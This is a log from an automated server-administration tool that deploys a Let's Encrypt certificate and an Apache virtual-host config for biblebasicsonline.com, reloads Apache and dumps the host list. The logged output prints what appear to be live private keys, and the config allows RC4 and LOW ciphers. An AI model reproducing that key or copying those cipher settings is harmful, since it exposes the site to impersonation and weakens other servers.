9SX3thQcN5/SamI9yIE5jA9MYThq2C2z3u+aCKb+FmQk7NPvWkivx4uB+S8jsSKp
NPqyWRiSKvRuoBnHXcS/1YeDpZP6sMQ8v6p0mq1e/LHQ4Gn4Smxvon8JPTxjxpf1
auSp0+zYPfD+/VrtdNoudteC5sHjOIy4v1sMDYm39o3V6QlO8THsL7PDEy0AafCc
3r9gsH2neckTAbW8YhuJwd5rxBnmeMgXXt6zQFsf0QKBgQDS5PI1Vsoptqk8WZFH
0aUqyWlN5sJZNAoZJsjsCIlXyZygyzu6galjcaAHS8kKwaOQzfKfVuCPHxSxaCSp
/P0UCn8w//Vd7CvIxWLAVbtE9NP3BhxxklEeL8Oe+caqQOo6Ek+5S2+xUPOfobE5
UwP9jbywkqS0biuSJJxkKlG6SwKBgQDKrtiFkqQCKgbKc9Uiz0K8zsRlrHDHHlij
q//XqjC1K6Er5vTdst9n/EEBMzpSqNIkvxf/6xIXS9jzC1mkGsHsbvcZqkIIpMvo
8kxaznkTqvvw+C4fThexPSncGFpSQblY3t/8DvOnutYMFgopZu8L705gChVqqXuB
5x2eCX12uQKBgGs9vOTew2K+3gQwT65Dr0e4r/HLPFz8F35+uIE+PgkEHr+tWSwY
LzjAWO4c3Zi4qyJBd/UKypo85dro6GwAl/kO9WrHXdBq/kDUDslbTyVbkkX1N5WR
H+rHwyQeQ6Xj6LerBBtnft6eGaS9Jk/OJSNUZfUsPND7jPB96YEN/A1NAoGBAJIY
xmpB8Ya91HdKV2/oBisiv96qFgDxluMjsB88xi9Ra7PBnu/PZ8oEwraivn+mwRNL
y3jlcPzp51AJ9mub/fz3X5ZYa5DfeTxIq1EpU40hysk/m79lAx72/51u0GxKg9fT
j5CZFnjo7DF6EYkWcWkg7lW77wQbdrOEbIzmOlHBAoGAG5Gwl+dJX1zb5qm/AEMf
N75EimNGath8OJ8qgjta53e5XiD+o4kuBgVnber40aZLv5DAv/Qqr/FzZ67C+Qiu
ao0MwYiUkOtDo8S2P+odbxYeyRfd4o3/C9vX55cI8pjf0iYO4rAL+o0GtgiBAz+/
YF1vwwZwacOfSxJtaS5T0gA=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-14 06:00:31: 

chmod 755 /tmp/pkp242863; /tmp/pkp242863; rm /tmp/pkp242863

2026-01-14 06:00:31: 


dir=/etc/ssl/certs


2026-01-14 06:00:31: 

PUT: /tmp/pkp926233

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-14 06:00:31: 

chmod 755 /tmp/pkp926233; /tmp/pkp926233; rm /tmp/pkp926233

2026-01-14 06:00:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf 49

<VirtualHost *:80>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_secure_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-14 06:00:31: 

PUT: /tmp/pkp847214

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=biblebasicsonline_www_com.conf
TARGET=/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_secure_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/biblebasicsonline_www_com.conf= 1'
fi


2026-01-14 06:00:31: 

chmod 755 /tmp/pkp847214; /tmp/pkp847214; rm /tmp/pkp847214

2026-01-14 06:00:31: 




2026-01-14 06:00:31: 

PUT: /tmp/pkp178676

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-14 06:00:31: 

chmod 755 /tmp/pkp178676; /tmp/pkp178676; rm /tmp/pkp178676

2026-01-14 06:00:32: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-14 06:00:32: Establishing a connection
2026-01-14 06:00:32: 

PUT: /tmp/pkp287326

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-14 06:00:32: 

chmod 755 /tmp/pkp287326; /tmp/pkp287326; rm /tmp/pkp287326

2026-01-14 06:00:32: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-14 06:00:32: 

PUT: /tmp/pkp986023

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-14 06:00:32: 

chmod 755 /tmp/pkp986023; /tmp/pkp986023; rm /tmp/pkp986023

2026-01-14 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf	1467

<VirtualHost *:80>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	biblebasicsonline.com
    ServerAlias	www.biblebasicsonline.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt
    DocumentRoot	/var/www/biblebasicsonline_www
    <Directory /var/www/biblebasicsonline_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/biblebasicsonline/www_secure_access.log combined
    ErrorLog	/var/log/apache2/biblebasicsonline/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-14 06:00:32: 

PUT: /tmp/pkp390900

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-14 06:00:32: 

chmod 755 /tmp/pkp390900; /tmp/pkp390900; rm /tmp/pkp390900

2026-01-14 06:00:32: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/6826643b9e24e5e5121c4fe73657b282.crt	5413
b0:68:b0:99:5c:c0:93:1a:a3:da:c3:ff:2d:3a:5b:94

-----BEGIN CERTIFICATE-----
MIIFKTCCBBGgAwIBAgISBicsNdbC1LCxh3ZuqX0En//AMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE0MDUwMTU5WhcNMjYwNDE0MDUwMTU4WjAgMR4wHAYDVQQD
ExViaWJsZWJhc2ljc29ubGluZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCm+LEZ7NkH2SShot3edlAQaoawVb65O047t4TRZcnwb/axn2r8/clZ
4gvRve+UXYPgJiZY0Cr0nsvV2aLLHdFfse9Q0RsK/Bc++jEZcSY3o7BUQ2q1SHBh
idCKY2vmmY8fnll5yn428FRvX2FHmCTv2+j59B5Xg0ZJdzTd6TS1PapHchrxHGJF
q4r9mO/fGeXbfs+wen69S9pDu8gB3Wz4+o7rODBGswrJGDMszZ7ofw6QxPggXPxq
AZw7u8lrJK20YF+7l6e+W/b0G6KtWUCU2fmkf28WWYqxfTNCnwVBVN4NUOgvwz4Y
CNuCswdE1J+snxtFB+iafqQpMqLajTIzAgMBAAGjggJIMIICRDAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFLxZvQbvRxnEi6MC6/5q4s/VvWANMB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVYmlibGViYXNpY3Nv
bmxpbmUuY29tghl3d3cuYmlibGViYXNpY3NvbmxpbmUuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5v
cmcvNjUuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHUAFoMtq/CpJQ8P8Dql
Rf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbuxdgFgAABAMARjBEAiA5+57uxptxFMX1
d8EYEW7xTTh0A4bB2DZ0gq/24jR/pAIgautQsJlIi5woKRnRn8FrY/zhiSTJ9Hsp
VBmbS0znhh0AfwDjI43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZu7
F2I7AAgAAAUAL1d2/wQDAEgwRgIhAOR1VjlNwXpTbgt/1HH0Ek3uzzoNuO2IFaB1
tkuCSRBcAiEAndAzm+MqTqG5iq6/nluVc5fWNW8dCImrmhft2qhXpOwwDQYJKoZI
hvcNAQELBQADggEBABPsSy0Q/fPwBpqvMb9xJRc+15LGm6KOjipX8K++U7ArkdzL
QiZcP9V77yIp/+lbKCDehpID9quVDu+7boEieLgGgQeIN3MUFPLFA+XTkwKYnW5W
qCk4h/pxCO8XPsTiHJCIWpdNhVy/8y1tnubSgAS1zT9cP5Pg29pkIuAE7vdU5IUq
B5tJk0HXagcbMbT5+D/o2G8ZM8Zi6U2ekdfMski2pomBzwz8F/TDWu+4wsgZd+FE
J60cjm3T43zh6ZCG0SIZIKDDPAoa25zwHu8J6aLMRz8cKQ4Q2Up7jzPA/dFsOmx4
rOclO0o9JMaGLt36I0bJQePGFffjNlnuw9zOPSc=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCm+LEZ7NkH2SSh
ot3edlAQaoawVb65O047t4TRZcnwb/axn2r8/clZ4gvRve+UXYPgJiZY0Cr0nsvV
2aLLHdFfse9Q0RsK/Bc++jEZcSY3o7BUQ2q1SHBhidCKY2vmmY8fnll5yn428FRv
X2FHmCTv2+j59B5Xg0ZJdzTd6TS1PapHchrxHGJFq4r9mO/fGeXbfs+wen69S9pD
u8gB3Wz4+o7rODBGswrJGDMszZ7ofw6QxPggXPxqAZw7u8lrJK20YF+7l6e+W/b0
G6KtWUCU2fmkf28WWYqxfTNCnwVBVN4NUOgvwz4YCNuCswdE1J+snxtFB+iafqQp
MqLajTIzAgMBAAECggEAAIn92YRKXoDUz98O33LWnebzR4GYgCu6IMk5mPiaJwFF
hwmN/92oKXbWEO6PnLm3/SCLi262UoCzl3kAiRwv9iKyfYOWKJ7G3QGc6GTVQuUB
9SX3thQcN5/SamI9yIE5jA9MYThq2C2z3u+aCKb+FmQk7NPvWkivx4uB+S8jsSKp
NPqyWRiSKvRuoBnHXcS/1YeDpZP6sMQ8v6p0mq1e/LHQ4Gn4Smxvon8JPTxjxpf1
auSp0+zYPfD+/VrtdNoudteC5sHjOIy4v1sMDYm39o3V6QlO8THsL7PDEy0AafCc
3r9gsH2neckTAbW8YhuJwd5rxBnmeMgXXt6zQFsf0QKBgQDS5PI1Vsoptqk8WZFH
0aUqyWlN5sJZNAoZJsjsCIlXyZygyzu6galjcaAHS8kKwaOQzfKfVuCPHxSxaCSp
/P0UCn8w//Vd7CvIxWLAVbtE9NP3BhxxklEeL8Oe+caqQOo6Ek+5S2+xUPOfobE5
UwP9jbywkqS0biuSJJxkKlG6SwKBgQDKrtiFkqQCKgbKc9Uiz0K8zsRlrHDHHlij
q//XqjC1K6Er5vTdst9n/EEBMzpSqNIkvxf/6xIXS9jzC1mkGsHsbvcZqkIIpMvo
8kxaznkTqvvw+C4fThexPSncGFpSQblY3t/8DvOnutYMFgopZu8L705gChVqqXuB
5x2eCX12uQKBgGs9vOTew2K+3gQwT65Dr0e4r/HLPFz8F35+uIE+PgkEHr+tWSwY
LzjAWO4c3Zi4qyJBd/UKypo85dro6GwAl/kO9WrHXdBq/kDUDslbTyVbkkX1N5WR
H+rHwyQeQ6Xj6LerBBtnft6eGaS9Jk/OJSNUZfUsPND7jPB96YEN/A1NAoGBAJIY
xmpB8Ya91HdKV2/oBisiv96qFgDxluMjsB88xi9Ra7PBnu/PZ8oEwraivn+mwRNL
y3jlcPzp51AJ9mub/fz3X5ZYa5DfeTxIq1EpU40hysk/m79lAx72/51u0GxKg9fT
